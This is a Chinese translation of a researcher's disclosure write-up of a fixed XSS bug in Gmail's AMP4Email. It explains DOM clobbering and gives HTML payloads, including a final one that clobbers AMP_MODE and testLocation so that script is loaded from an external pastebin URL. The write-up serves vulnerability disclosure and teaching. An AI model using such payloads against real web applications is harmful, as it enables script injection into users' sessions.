原文地址:https://research.securitum.com/xss-in-amp4email-dom-clobbering/
这篇文章是介绍我在2019年八月的谷歌漏洞奖励计划中提交的一个AMP4Email中的XSS
漏洞,目前已经得到了修复。这个XSS
是现实世界中浏览器中著名的DOM Clobbering问题的一个真实案例。
什么是AMP4Email?
AMP4Email(也称为动态邮件)是Gmail的一个新特性,它可以使电子邮件包含动态HTML内容。虽然包含HTML标记的电子邮件已经存在很多年了,但人们通常认为邮件的HTML只包含静态内容,如一些格式化的东西,图像等,而没有任何脚本或表单。AMP4Email意味着更进一步,其允许电子邮件中的动态内容。在谷歌官方G Suite博客的一篇文章中,对动态邮件的使用进行了很好的总结:
使用动态电子邮件,你可以容易地直接在邮件中进行一些操作,比如回复某个事件、填写问卷、浏览目录或回复评论。 以在谷歌文档中做评论为例。现在,当某人在评论中提到你时,你将不会收到单独的电子邮件通知,而是在Gmail中看到一个最新的线程,你可以很容易地从消息中回复或关闭评论。
该特性带来了一些明显的安全问题;最重要的一个可能是:跨站点脚本(XSS)?如果我们允许在电子邮件中使用动态内容,这是否意味着我们可以轻松地注入任意的JavaScript代码?——不,事实上,要实现这并不容易。
简而言之,AMP4Email有一个强大的验证器,其是一个动态邮件中允许的标记和属性的强大的白名单。你可以在https://amp.gmail.dev/playground/上尝试一下,也可以向自己发送一封动态电子邮件,看看它是如何工作的!
图1 AMP4Email 演示
如果你试图添加验证器不允许的任何HTML元素或属性,将会收到一个错误。
图2 AMP验证器不允许任何脚本标签
在试用AMP4Email并尝试各种绕过它的方法时,我注意到id属性在标记中是允许的(图3)。注:原中文中这里写的是不允许,但看下面分析,应该是笔误。
图3 id属性是允许的
这可能是可以进行安全分析的点,因为创建具有用户控制的id属性的HTML元素可能导致DOM Clobbering。
DOM Clobbering
DOM Clobbering是一个不断给许多应用程序带来麻烦web浏览器的遗留特性。一般来讲,当你创建一个HTML元素(例如,<input id=username>
),并且想利用JavaScript
引用它,你会这样做document.getElementById('username')
或者document.querySelector('#username')
。但这并不是唯一的方法!
传统的方法是通过全局window
对象的属性来访问它。所以在这个例子中,window.usernam
和document.getElementById('username')
是完全相同的。如果应用程序基于某些全局变量的存在做出决策,这种行为(称为DOM Cloberring
)可能会导致有趣的漏洞,例如:if (window.isAdmin) { ... }
。
为了进一步分析DOM Clobbering
,假设我们有以下JavaScript代码:
if (window.test1.test2) {
eval(''+window.test1.test2)
}
我们的目标是仅使用DOM Clobbering
技术来评估任意的JS代码。为了实现这个任务,我们首先需要解决这样两个问题:
- 我们知道可以在
window
上创建新属性,但是我们可以在其他对象上创建新属性吗?如例子中的test1.test2
- 我们可以控制如何将DOM元素转换成字符串吗?大多数HTML元素在转换为字符串时,都会返回类似的内容
[object HTMLInputElement]
。
让我们首先解决第一个问题。解决这个问题最常用的一个方法是使用<form>
标签。<form>
标签的每个<input>
后代都作为其一个属性被添加,该属性的名称等于<input>
的name
属性。如下面的例子:
<form id=test1>
<input name=test2>
</form>
<script>
alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>
对于第二个问题,我创建了一个简短的JS代码,它遍历HTML中所有可能的元素,并检查它们的toString
方法是继承自Object.prototype
还是以另一种方式定义的。如果不是继承自Object.prototype
,就可以返回[object SomeElement]
之外的其他内容。
代码如下:
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
这段代码返回两个元素:HTMLAreaElement
(<area>
)和HTMLAnchorElement
(<a>
)。在AMP4Email中,第一个是不允许的,所以我们只关注第二个。对于<a>
元素,toString
只返回href
属性的值。看下面的例子:
<a id=test1 href=https://securitum.com>
<script>
alert(test1); // alerts "https://securitum.com"
</script>
在这一点上,似乎如果我们想要解决最初的问题(即,通过DOM Clobbering
来评估window.test1.test2
的值),我们需要一个类似下面的代码:
<form id=test1>
<a name=test2 href="x:alert(1)"></a>
</form>
但问题在于它根本不管用。test1.test2
返回的其实是undefined
。<input>
可以成为<form>
的属性,但<a>
并不可以。
不过,对于这个问题有一个有趣的解决方案,它可以在基于WebKit和基于blink的浏览器中工作。假设我们有两个id相同的元素:
<a id=test1>click!</a>
<a id=test1>click2!</a>
那么我访问window.test1
时会得到什么结果呢?我本能地期望获得具有该id的第一个元素,这是使用document.getElementById('#test1')
方法时会产生的结果。然而,在Chromium
中,我们实际上得到了一个HTMLCollection
!
图4 window.test
指向HTMLCollection
如图4中看到,特别有趣的是我们可以通过索引(本例中为0和1)和id
一样访问HTMLCollection
中的特定元素。这意味着 window.test1.test1
实际上指的是第一个元素。这证明设置name
属性也会在HTMLCollection
中创建新的属性。如下面的代码:
<a id=test1>click!</a>
<a id=test1 name=test2>click2!</a>
我们可以通过 window.test1.test2
方法得到第二个锚元素。
图5 window.test1.test2
成功获得
那么,回到最初对于DOM Clobbering
的利用 eval(''+window.test1.test2)
,可以这样实现:
<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>
现在,让我们回到AMP4Email,看看如何在真实的案例中利用DOM Clobbering
。
AMP4Email中实现DOM Clobbering
我已经提到过,通过向元素添加自己的id属性,AMP4Email很容易遭受DOM Clobbering
。为了找到一些可利用的条件,我决定看看window
的属性,如图6。立刻引起我注意的是AMP
。
图6 全局对象window
的属性
AMP4Email实际上使用了一些针对DOM Clobbering
的保护,它严格禁止id
属性的某些值,例如:AMP
,图7中所示。
图7 在AMP4Email中AMP不能做为id的值
但是,AMP_MODE
没有出现相同的限制。所以我准备了一段代码<a id=AMP_MODE>
看看会发生什么,我注意到控制台出现了一个非常有趣的错误。
图8 加载某些JS文件发生404
如图8所示, AMP4Email试图加载某些JS文件,但由于404问题未能成功。然而,值得注意的是请求URL 的中间存在一个undefined
(https://cdn.ampproject.org/rtv/undefined
/v0/amp-auto-lightbox-0.1.js)。我能想到的解释只有一个:AMP试图获取一个AMP_MODE
属性来将其放到URL中。由于DOM Clobbering
,并没有得到预期的值,因此得到的是undefined
。实现包含的代码如下:
f.preloadExtension = function(a, b) {
"amp-embed" == a && (a = "amp-ad");
var c = fn(this, a, !1);
if (c.loaded || c.error)
var d = !1;
else
void 0 === c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="' + a + '"]'),
c.scriptPresent = !!d),
d = !c.scriptPresent;
if (d) {
d = b;
b = this.win.document.createElement("script");
b.async = !0;
yb(a, "_") ? d = "" : b.setAttribute(0 <= dn.indexOf(a) ? "custom-template" : "custom-element", a);
b.setAttribute("data-script", a);
b.setAttribute("i-amphtml-inserted", "");
var e = this.win.location;
t().test && this.win.testLocation && (e = this.win.testLocation);
if (t().localDev) {
var g = e.protocol + "//" + e.host;
"about:" == e.protocol && (g = "");
e = g + "/dist"
} else
e = hd.cdn;
g = t().rtvVersion;
null == d && (d = "0.1");
d = d ? "-" + d : "";
var h = t().singlePassType ? t().singlePassType + "/" : "";
b.src = e + "/rtv/" + g + "/" + h + "v0/" + a + d + ".js";
this.win.document.head.appendChild(b);
c.scriptPresent = !0
}
return gn(c)
}
虽然并不是难以理解,但我还是对它做了手动的反混淆。为了清楚起见,有些部分省略了,如下面所示:
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);
在第一行,代码创建了一个新的script
元素。然后,检查 AMP_MODE.test
和window.testLocation
是否为真。如他们都为真且AMP_MODE.localDev
为真(11行),然后window.testLocation
被脚本用作生成URL。由于代码的编写方式和DOM Clobbering
,第一眼看上去可能不是很明显,但实际上我们可以控制整个URL。我们假设AMP_MODE.test
和window.testLocation
都为真,代码可以进一步简化。
var script = window.document.createElement("script");
script.async = false;
b.src = window.testLocation.protocol + "//" +
window.testLocation.host + "/dist/rtv/" +
AMP_MODE.rtvVersion; + "/" +
(AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") +
"v0/" + pluginName + ".js";
document.head.appendChild(b);
还记得我们之前使用DOM Clobbering
重载 window.test1.test2
的例子么?现在我们需要做同样的事情,只不过换成重载window.testLocation.protocol
。所以最终的payload为:
<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
<!-- window.testLocation.protocol is a base for the URL -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>
实际上,由于AMP中部署了Content-Security-Policy
,所以代码并没有在现实中执行:
Content-Security-Policy: default-src 'none';
script-src 'sha512-oQwIl...=='
https://cdn.ampproject.org/rtv/
https://cdn.ampproject.org/v0.js
https://cdn.ampproject.org/v0/
我没有找到绕过CSP的方法,但在尝试这么做时,我发现了一个有趣的绕过基于dir的CSP的方法,关于这个方法我发了一条推特,但之后我发现这种方法在2016年的CTF中已经使用过了。对于Google的漏洞奖励计划,不要指望绕过CSP就能得到全额奖励。这仍然是一个有趣的挑战,也许其他人会找到办法绕过它。
总结
在这篇文章中,我展示了在满足某些条件时如何使用DOM Clobbering
来执行XSS
。如果你想尝试一下这个XSS,可以在这里找到XXS挑战。
时间轴
- 2019年8月15日 - 向谷歌发送报告
- 2019年8月16日 - 得到谷歌响应
- 2019年9月1日 - 谷歌确认漏洞
- 2019年10月12日 - 来自谷歌的确认,bug已经修复(尽管实际上它发生的时间更早)
- 2019年11月18日 - 公开